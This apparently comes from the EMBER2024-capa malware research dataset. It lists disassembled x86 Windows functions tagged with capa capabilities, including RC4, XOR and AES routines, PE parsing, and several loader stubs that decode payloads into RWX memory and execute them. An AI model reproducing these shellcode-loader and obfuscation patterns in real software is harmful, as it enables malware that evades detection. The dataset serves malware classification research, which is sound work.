joyce8/EMBER2024-capa huggingface dataset:
Function at 0x101ac583
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov edi, 0x1e25
xor ebx, ebx
mov dword [0x101c9268], 0
mov dword [0x101c926c], 0
mov dword [0x101c9278], 0
mov dword [0x101c9260], 0xfa3
cmp eax, 0
mov dword [ebp - 0x10], eax
mov eax, ebx
mov dword [ebp - 0x14], eax
mov eax, ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x2c], edi
je 0x101ac71a
jmp 0x101ac61b
mov eax, dword [0x101c9268]
mov ecx, dword [0x101c926c]
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x28], edx
jmp 0x101ac61b
mov eax, dword [0x101c9260]
add eax, 0xe82
mov dword [ebp - 0x2c], eax
jmp 0x101ac71a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov esi, 0x100
mov edi, eax
add edi, 1
add edx, 1
mov dword [ebp - 0x34], eax
mov eax, edx
cdq
idiv esi
mov dword [0x101c9268], edx
mov dword [0x101c9260], 0x3264
mov ebx, dword [ebp - 0x24]
movzx ebx, byte [ebx + edx]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x38], edx
cdq
idiv esi
mov dword [0x101c926c], edx
mov ecx, dword [0x101c9264]
add ecx, 0xfffff82b
mov dword [0x101c9264], ecx
mov ecx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x38]
mov cl, byte [ecx + esi]
mov byte [0x101c9270], cl
mov dword [0x101c9260], 0x26b4
mov ebx, dword [ebp - 0x24]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov dword [0x101c9264], 0x112a
mov cl, byte [0x101c9270]
mov edx, dword [0x101c926c]
mov byte [ebx + edx], cl
mov edx, dword [0x101c9268]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x101c926c]
movzx ecx, byte [ebx + ecx]
add ecx, edx
mov dword [0x101c9264], 0x55d
and ecx, 0xff
mov dword [0x101c9278], ecx
mov cl, byte [ebx + ecx]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x34]
mov ch, byte [edx + esi]
mov dword [0x101c9260], 0x65f
mov dword [0x101c9264], 0xffffdf97
xor ch, cl
mov edx, dword [ebp - 0x20]
mov byte [edx + esi], ch
mov edx, dword [ebp - 0x10]
cmp edi, edx
mov dword [ebp - 0x30], edi
je 0x101ac609
jmp 0x101ac5f0
mov eax, dword [ebp - 0x2c]
mov dword [0x101c9260], eax
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101ac72a
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0x98
lea eax, [esp + 0x80]
lea ecx, [esp + 0x20]
mov edx, dword [0x101c9260]
mov esi, edx
add esi, 0xffffdde0
mov dword [0x101c9264], esi
add edx, 0xffffe928
mov dword [0x101c9260], edx
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.101abe74
lea ecx, [0x101abbfe]
mov edx, dword [esp + 0x80]
mov dword [esp + 0x64], edx
mov dword [esp + 0x28], 0x148200
mov edx, dword [0x101c924c]
mov dword [esp + 0x34], edx
mov edx, dword [0x101c9250]
mov dword [esp + 0x20], edx
mov edx, dword [0x101c9254]
mov dword [esp + 0x4c], edx
mov edx, dword [0x101c9258]
mov dword [esp + 0x58], edx
mov dword [0x101c9260], 0x5bd
mov edx, dword [0x101c925c]
mov dword [esp + 0x60], edx
mov dword [0x101c9264], 0xfffff4b2
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0x10], eax
jne 0x101ac7f8
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0xc], ecx
je 0x101ac80c
mov eax, dword [esp + 0x10]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x101ac7d5
mov eax, dword [esp + 0x10]
mov dword [esp + 0x2c], eax
mov ecx, dword [esp + 0xc]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x44], edx
mov dword [0x101c9260], 0xe1c
call fcn.101ab985
xor ecx, ecx
cmp eax, 0
mov dword [esp + 8], ecx
jne 0x101ac869
lea eax, [esp + 0x20]
mov ecx, dword [esp + 0x88]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.101ac134
mov ecx, esp
lea edx, [esp + 0x20]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
Function at 0x40595e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x40596d
pop dword [ebp - 4]
mov eax, 0xf4726d11
sub eax, 0xf43213a4
sub dword [ebp - 4], eax
mov dword [ebp - 0x14], 0x7c3c8d2
add dword [ebp - 0x14], 0x468e7c79
mov dword [ebp - 0x10], 0x8966a335
sub dword [ebp - 0x10], 0x573356f0
mov dword [ebp - 0xc], 0x2cf9fa26
add dword [ebp - 0xc], 0x1f524a08
mov dword [ebp - 8], 0x14ec8d4b
sub dword [ebp - 8], 0x14ec8d4b
lea eax, [ebp - 0x14]
push eax
mov eax, 0x67f58e84
sub eax, 0x67b51e24
add eax, dword [ebp - 4]
call dword [eax]
mov dword [ebp - 0x14], 0x893ebc44
add dword [ebp - 0x14], 0xeb33ad12
mov dword [ebp - 0x10], 0x12a3cb56
sub dword [ebp - 0x10], 0xd13769e1
mov dword [ebp - 0xc], 0x73b637a3
sub dword [ebp - 0xc], 0x1046cb37
mov dword [ebp - 8], 0xc48e294f
sub dword [ebp - 8], 0xc48e294f
lea ebx, [ebp - 0x14]
push ebx
push eax
mov eax, 0xad478a0
add eax, 0xf56bf860
add eax, dword [ebp - 4]
call dword [eax]
push 0x40
push 0x1000
push 0x394c7
push 0
call eax
mov ecx, 0x2714356e
sub ecx, 0x2713e31a
xor edx, edx
add edx, eax
mov edi, 0xa8fcf2b7
sub edi, 0xa8bbf2b7
add edi, dword [ebp - 4]
mov esi, 0xce783c29
add esi, 0x5cf21329
mov ebx, dword [edi]
xor ebx, esi
mov dword [edx], ebx
add edx, 0xd17ba9bf
add edx, 0x2e845645
add edi, 0xf17b65ef
sub edi, 0xf17b65eb
loop 0x405a91
add eax, 0x1983dcfb
sub eax, 0x1982a0d8
mov ebx, eax
add eax, 0x362460c6
add eax, 0xc9db9f3f
mov ecx, 0x4063a1f5
add ecx, 0xbfdc5e0b
add ecx, dword [ebp - 4]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x401318
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
mov eax, 0xa1f8
call fcn.00401a0c
call fcn.00401800
lea edi, [ebp - 0xa1e8]
mov esi, 0x403040
mov ecx, 0x2874
rep movsd dword es:[edi], dword [esi]
call sub.KERNEL32.DLL_FreeConsole
lea esi, [ebp - 0xa1e8]
mov ebx, dword [ebp - 0x418]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0x52e8
mov dword [esp], 0
call sub.KERNEL32.DLL_VirtualAlloc
sub esp, 0x10
mov dword [ebp - 0xa1ec], eax
lea edi, [ebp - 0x418]
mov edx, eax
mov cl, byte [esi]
mov byte [edx], cl
inc edx
add esi, 2
cmp esi, edi
jne 0x401390
mov edx, dword [ebp - 0xa1ec]
add edx, 0x4ee8
mov ecx, 0x100
mov edi, edx
rep movsd dword es:[edi], dword [esi]
lea esi, [esi]
xor dword [eax], ebx
add ebx, 0x499602d2
add eax, 4
cmp eax, edx
jne 0x4013b4
call dword [ebp - 0xa1ec]
xor eax, eax
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
leave
lea esp, [ecx - 4]
ret

Function at 0x4014f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
test ecx, ecx
mov dword [ebp - 0xc], ebx
mov ebx, eax
mov dword [ebp - 8], esi
mov esi, edx
mov dword [ebp - 4], edi
mov edi, ecx
jne 0x401516
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x38]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.KERNEL32.DLL_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x4015aa
mov eax, dword [ebp - 0x24]
cmp eax, 4
je 0x401565
cmp eax, 0x40
je 0x401565
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.KERNEL32.DLL_VirtualProtect
sub esp, 0x10
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0x24]
cmp eax, 4
je 0x401509
cmp eax, 0x40
je 0x401509
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.KERNEL32.DLL_VirtualProtect
sub esp, 0x10
jmp 0x401509
mov dword [esp + 8], 0x34
mov dword [esp + 4], str..._.._runtime_pseudo_reloc.c
mov dword [esp], str.VirtualQuery__addr__b__sizeof_b__
call sub.msvcrt.dll__assert
lea esi, [esi]
lea edi, [edi]
Function at 0x10002aa9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x10002ab8
pop dword [ebp - 0x24]
mov eax, 0x10002ab8
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x46d2a
add dword [ebp - 0x34], 0x4e4dd821
mov dword [ebp - 0x30], 0xb3252c9a
sub dword [ebp - 0x30], 0x80f1e055
mov dword [ebp - 0x2c], 0x630df228
sub dword [ebp - 0x2c], 0x16c1adfa
mov dword [ebp - 0x28], 0x88f83e1a
sub dword [ebp - 0x28], 0x88f83e1a
lea eax, [ebp - 0x34]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xfdc2b9ae
add dword [ebp - 0x34], 0x76afafa8
mov dword [ebp - 0x30], 0x6fa255db
sub dword [ebp - 0x30], 0x2e35f466
mov dword [ebp - 0x2c], 0x17d0a62b
add dword [ebp - 0x2c], 0x4b9ec641
mov dword [ebp - 0x28], 0xfe698c1d
sub dword [ebp - 0x28], 0xfe698c1d
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x3aa78
push 0
call eax
mov ecx, 0x496e
xor esi, esi
add esi, eax
mov edi, 0xde295e2a
add edi, 0x31d8ebd6
add edi, dword [ebp - 0x24]
mov ebx, 0xc55d13dc
sub ebx, 0x24e74c1c
add dword [ebp - 0x1c], esi
mov edx, dword [edi]
mov dword [ebp - 0xc], 0xb48a4485
xor edx, ebx
sub dword [ebp - 0x1c], 0x1d71867a
mov dword [esi], edx
sub dword [ebp - 0x20], 0xe697201e
add esi, 4
add edi, 4
loop 0x10002bc7
add eax, 0x74e9d2c1
add eax, 0x8b1745ca
mov ebx, eax
add eax, 0xae47cfd
add eax, 0xf51b8308
mov ecx, 0x701b14a8
sub ecx, 0x601b14a8
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x66bf16
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov dword [esp], 0x55c461ae
mov dword [esp], ebx
mov ebx, 0x26dcc574
push ebp
mov ebp, esp
jmp 0x66b5ee
push 0x2326b35f
jmp 0x66b7f8
sub eax, 0x5fefdfe6
jmp 0x66b8c1
pop eax
jmp 0x66b460
add ebp, 4
sub ebp, 4
xchg dword [esp], ebp
pop esp
jmp 0x66b615
mov dword [esp], ebp
push 0x4da1f300
mov dword [esp], esi
push ecx
jmp 0x66b933
mov edi, dword [esp]
add esp, 4
jmp 0x66ba91
mov ebx, dword [esp]
add esp, 4
push edi
mov dword [esp], ecx
mov dword [esp], 0x93321d1
mov dword [esp], edi
push eax
push 0x5fefdfea
jmp 0x66b4bf
mov dword [esp], ebx
mov ebx, 0x1f5b5dbb
xor ebx, 0x7da1b121
add ebx, 0x9d05136a
jmp 0x66b86b
push edx
mov edx, 0x79d7a370
push ebx
sub esp, 4
jmp 0x66b9c4
mov edi, eax
pop eax
sub ebp, 0x7f65093a
add ebp, edi
add ebp, 0x7f65093a
jmp 0x66b7a1
mov dword [esp], ebx
mov dword [esp], 0x3b7b0ae5
mov esi, dword [esp]
jmp fcn.0066bae9
pop ebx
add ebp, edx
mov edx, dword [esp]
add esp, 4
add ebp, ebx
push ebx
mov ebx, 0x296dc462
xor ebx, 0x7efb725e
or ebx, 0x37ba6b71
sub ebx, 0x77b5963e
xor ebx, 0x3f1b3573
sub ebp, ebx
pop ebx
jmp 0x66b7d9
mov dword [esp], edx
jmp 0x66ba18
mov edx, 0x36fe92e4
neg edx
dec edx
add edx, 0x63bf97c6
shl edx, 8
add edx, 0x7cfa51cf
mov ebx, edx
pop edx
sub ebx, 0xf7393393
xor edx, ebx
jmp 0x66b951
xor ebp, dword [esp]
xor dword [esp], ebp
xor ebp, dword [esp]
jmp 0x66bada
mov esp, dword [esp]
jmp 0x66b338
push ebp
mov ebp, esp
jmp 0x66b3bb
Function at 0x401a30
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, edx
shr edi, 2
xor edx, edx
mov eax, edi
mov dword [ebp - 4], 1
shr eax, 1
add eax, 3
mov dword [ecx], eax
add ecx, 0x10
test edi, edi
je 0x401a65
mov eax, dword [esi]
lea esi, [esi + 4]
mov dword [ecx + edx*4], eax
inc edx
cmp edx, edi
jb 0x401a58
mov ebx, dword [ecx + edi*4 - 4]
lea eax, [edi + 0xe]
lea eax, [edi + eax*2]
lea esi, [ecx + eax*4]
mov dword [ebp + 8], esi
xor esi, esi
mov eax, dword [ebp + 8]
nop word [eax + eax]
test esi, esi
jne 0x401ae1
movzx eax, bl
mov esi, dword [ebp - 4]
movzx edx, byte [eax + 0xac15c0]
mov eax, ebx
shr eax, 0x18
shl edx, 8
movzx eax, byte [eax + 0xac15c0]
or edx, eax
mov eax, ebx
shr eax, 0x10
movzx eax, al
shr ebx, 8
shl edx, 8
movzx eax, byte [eax + 0xac15c0]
or edx, eax
movzx eax, bl
shl edx, 8
movzx ebx, byte [eax + 0xac15c0]
mov eax, 0x1b
xor ebx, esi
add esi, esi
or ebx, edx
test esi, 0x100
cmovne esi, eax
mov dword [ebp - 4], esi
mov esi, edi
jmp 0x401b2e
cmp esi, 4
jne 0x401b31
cmp edi, 6
jbe 0x401b31
mov eax, ebx
shr eax, 0x10
movzx eax, al
movzx edx, byte [eax + 0xac15c0]
mov eax, ebx
shr eax, 0x18
movzx eax, byte [eax + 0xac15c0]
shl eax, 8
or edx, eax
mov eax, ebx
shr eax, 8
movzx eax, al
shl edx, 8
movzx eax, byte [eax + 0xac15c0]
or edx, eax
movzx eax, bl
shl edx, 8
movzx ebx, byte [eax + 0xac15c0]
or ebx, edx
mov eax, dword [ebp + 8]
xor ebx, dword [ecx]
dec esi
mov dword [ecx + edi*4], ebx
add ecx, 4
cmp ecx, eax
jne 0x401a80
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x402940
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 5
jb 0x402973
call fcn.00402920
test eax, eax
je 0x402973
mov edx, 1
lea ecx, [ebp - 0x10]
call fcn.00402900
mov eax, dword [ebp - 8]
shr eax, 0x19
and eax, 1
mov esp, ebp
pop ebp
ret
xor eax, eax
shr eax, 0x19
and eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x4029f0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 5
jae 0x402a06
xor eax, eax
mov esp, ebp
pop ebp
ret
call fcn.00402920
cmp eax, 7
jb 0x402a00
mov edx, 7
lea ecx, [ebp - 0x10]
call fcn.00402900
mov eax, dword [ebp - 0xc]
shr eax, 0x1d
and eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x402a30
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 5
jb 0x402a63
call fcn.00402920
test eax, eax
je 0x402a63
mov edx, 1
lea ecx, [ebp - 0x10]
call fcn.00402900
mov eax, dword [ebp - 8]
shr eax, 9
and eax, 1
mov esp, ebp
pop ebp
ret
xor eax, eax
shr eax, 9
and eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x402b60
Capabilities:
Check os version
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d4
mov eax, dword [0xb07064]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp ax, 6
je 0x402ba9
push str.SetDefaultDllDirectories
push 0xac1750
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x402ba9
push 0xc00
call eax
test eax, eax
jne 0x402c47
push 0x106
lea eax, [ebp - 0x2d4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x402c47
cmp eax, 0x104
ja 0x402c47
cmp word [ebp + eax*2 - 0x2d6], 0x5c
je 0x402be7
mov ecx, 0x5c
mov word [ebp + eax*2 - 0x2d4], cx
inc eax
cmp byte [str.userenv], 0
push esi
mov esi, str.userenv
je 0x402c46
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push edi
lea edi, [ebp - 0x2d4]
lea edi, [edi + eax*2]
mov al, byte [esi]
mov ecx, edi
inc esi
test al, al
je 0x402c20
movzx eax, al
mov word [ecx], ax
add ecx, 2
mov al, byte [esi]
inc esi
test al, al
jne 0x402c10
xor eax, eax
mov dword [ecx], 0x64002e
push 8
push eax
mov word [ecx + 8], ax
lea eax, [ebp - 0x2d4]
push eax
mov dword [ecx + 4], 0x6c006c
call ebx
cmp byte [esi], 0
jne 0x402c07
pop edi
pop ebx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00a2a1da
mov esp, ebp
pop ebp
ret
Function at 0x407e70
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, dword [ebp + 8]
push 0x98
push 0
lea eax, [edi + 0x110]
push eax
call fcn.00a7d450
mov eax, dword [edi + 0x30]
add esp, 0xc
add eax, dword [edi + 0x34]
mov ecx, dword [edi + 0x28]
mov dword [edi + 0x40], eax
mov dword [edi + 0x2c], 0
mov dword [edi + 0x14], 0
lea esi, [ecx + eax]
shr ecx, 3
mov eax, 0xaaaaaaab
mul ecx
mov ecx, 0xc
shr edx, 3
imul eax, edx, 0x54
mov edx, esi
sub edx, eax
mov eax, dword [edi + 0x18]
cmp eax, ecx
mov dword [edi + 0xc], eax
mov dword [edi + 0x44], edx
cmovb ecx, eax
mov dword [edi + 8], edx
not ecx
lea eax, [edx + 0x600]
mov dword [edi + 0x24], ecx
mov dword [edi + 0x20], ecx
lea ecx, [esi - 0xc]
mov dword [edi + 0x38], eax
xor eax, eax
mov dword [edi + 0x3c], ecx
mov dword [edi], ecx
mov dword [edi + 4], ecx
mov dword [ecx + 4], edx
add edx, 2
mov dword [ecx], 0x1010100
mov dword [ecx + 8], 0
mov byte [edx - 2], al
lea edx, [edx + 6]
xor ecx, ecx
mov byte [edx - 7], 1
inc eax
mov dword [edx - 6], ecx
cmp eax, 0x100
jb 0x407f07
lea eax, [edi + 0x9fc]
push ebx
xor ebx, ebx
mov dword [ebp - 4], eax
nop word [eax + eax]
mov esi, eax
xor edi, edi
movzx eax, word [edi + 0xac1780]
lea ecx, [ebx + 2]
xor edx, edx
div ecx
mov ecx, 0x4000
sub ecx, eax
xor eax, eax
movzx ecx, cx
nop
mov word [esi + eax*2], cx
add eax, 8
cmp eax, 0x40
jb 0x407f50
add edi, 2
add esi, 2
cmp edi, 0x10
jb 0x407f34
mov eax, dword [ebp - 4]
inc ebx
sub eax, 0xffffff80
mov dword [ebp - 4], eax
cmp ebx, 0x80
jb 0x407f30
mov edi, dword [ebp + 8]
mov edx, 0x50
pop ebx
lea esi, [edi + 0x3bc]
nop dword [eax + eax]
mov eax, esi
mov ecx, 0x10
nop word [eax + eax]
mov word [eax], dx
lea eax, [eax + 4]
mov word [eax - 2], 0x403
sub ecx, 1
jne 0x407fa0
add edx, 0x28
add esi, 0x40
cmp edx, 0x438
jb 0x407f90
mov dword [edi + 0x3b8], 0x40070000
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x408f70
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edx, dword [esi + 8]
and edx, 0x3f
mov byte [edx + esi + 0x40], 0x80
inc edx
cmp edx, 0x38
jbe 0x408fb9
cmp edx, 0x40
je 0x408fab
mov ecx, 0x40
lea edi, [esi + 0x40]
sub ecx, edx
add edi, edx
mov edx, ecx
xor eax, eax
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esi]
lea edx, [esi + 0x40]
push 1
lea ecx, [esi + 0x20]
call eax
xor edx, edx
mov eax, 0x38
sub eax, edx
push eax
lea eax, [esi + 0x40]
add eax, edx
push 0
push eax
call fcn.00a7d450
mov ecx, dword [esi + 8]
lea edx, [esi + 0x40]
mov eax, dword [esi + 0xc]
add esp, 0xc
shld eax, ecx, 3
shl ecx, 3
bswap eax
bswap ecx
mov dword [esi + 0x78], eax
mov eax, dword [esi]
mov dword [esi + 0x7c], ecx
lea ecx, [esi + 0x20]
push 1
call eax
mov edi, dword [ebp + 0xc]
lea edx, [esi + 0x20]
mov ebx, 4
nop
mov ecx, dword [edx + 4]
lea edi, [edi + 8]
mov eax, dword [edx]
lea edx, [edx + 8]
bswap eax
mov dword [edi - 8], eax
bswap ecx
mov dword [edi - 4], ecx
sub ebx, 1
jne 0x409000
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
pop edi
mov dword [esi + 0x20], 0x6a09e667
mov dword [esi + 0x24], 0xbb67ae85
mov dword [esi + 0x28], 0x3c6ef372
mov dword [esi + 0x2c], 0xa54ff53a
mov dword [esi + 0x30], 0x510e527f
mov dword [esi + 0x34], 0x9b05688c
mov dword [esi + 0x38], 0x1f83d9ab
mov dword [esi + 0x3c], 0x5be0cd19
pop esi
pop ebx
pop ebp
ret 8

Function at 0x409060
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, dword [section..data]
mov dword [ecx], eax
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 0
mov dword [ecx + 0x20], 0x6a09e667
mov dword [ecx + 0x24], 0xbb67ae85
mov dword [ecx + 0x28], 0x3c6ef372
mov dword [ecx + 0x2c], 0xa54ff53a
mov dword [ecx + 0x30], 0x510e527f
mov dword [ecx + 0x34], 0x9b05688c
mov dword [ecx + 0x38], 0x1f83d9ab
mov dword [ecx + 0x3c], 0x5be0cd19
pop ebp
ret 4

Function at 0x409810
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push 0
push 0
call fcn.00a819d4
mov ecx, dword [ebp + 8]
add esp, 0x18
mov dword [ecx], eax
test eax, eax
je 0x40983d
xor eax, eax
mov esp, ebp
pop ebp
ret 0xc
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
mov ecx, 1
cmovne ecx, eax
mov eax, ecx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40c320
Capabilities:
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push dword [ebp + 0x10]
lea ecx, [ebp - 4]
mov dword [ebp - 4], 0
push 0x2002
call fcn.0040f5e0
test al, al
jne 0x40c353
lea ecx, [ebp - 4]
xor bl, bl
call fcn.0040f610
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push edi
mov edi, dword [ebp - 4]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x40c3a3
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
call fcn.00a7ced0
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push dword [ebp - 4]
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SetClipboardData]
test eax, eax
je 0x40c3a3
pop edi
lea ecx, [ebp - 4]
mov dword [ebp - 4], 0
mov bl, 1
call fcn.0040f610
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret 0xc
pop edi
lea ecx, [ebp - 4]
xor bl, bl
call fcn.0040f610
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40cf70
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xabb050
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0xb07064]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
push esi
call fcn.0040e260
cmp eax, 0xffffffff
je 0x40cfc0
test al, 0x10
je 0x40cfc0
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push esi
call fcn.0040f2b0
test al, al
je 0x40cfe0
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push esi
call fcn.0040ef00
push esi
lea ecx, [ebp - 0x18]
mov ebx, eax
call fcn.0040a110
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], 0
call fcn.0040ae90
test eax, eax
js 0x40d026
mov edx, dword [ebp - 0x14]
lea ecx, [edx - 1]
cmp eax, ecx
jne 0x40d026
cmp edx, 1
jne 0x40d01a
mov bl, dl
jmp 0x40d107
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [ebp - 0x14], ecx
mov word [eax + ecx*2], dx
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x24]
call fcn.00409ff0
push dword [ebp - 0x18]
mov esi, dword [ebp - 0x14]
mov byte [ebp - 4], 1
call fcn.0040d130
test al, al
jne 0x40d0b8
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [eax + eax]
call edi
cmp eax, 0xb7
je 0x40d128
lea ecx, [ebp - 0x18]
call fcn.0040ae90
mov esi, eax
test esi, esi
js 0x40d128
je 0x40d128
mov ecx, dword [ebp - 0x18]
cmp esi, 1
jne 0x40d092
movzx eax, word [ecx]
cmp eax, 0x5c
je 0x40d128
cmp eax, 0x2f
je 0x40d128
lea eax, [esi + 1]
cmp ebx, eax
jae 0x40d128
cmp esi, dword [ebp - 0x14]
jae 0x40d0ae
xor eax, eax
mov dword [ebp - 0x14], esi
mov word [ecx + esi*2], ax
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.0040d130
test al, al
je 0x40d050
cmp esi, dword [ebp - 0x20]
jge 0x40d0fa
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov eax, dword [ebp - 0x24]
lea eax, [eax + esi*2]
add eax, 2
push eax
call fcn.0040ec20
test eax, eax
jns 0x40d0db
mov esi, dword [ebp - 0x20]
jmp 0x40d0de
inc esi
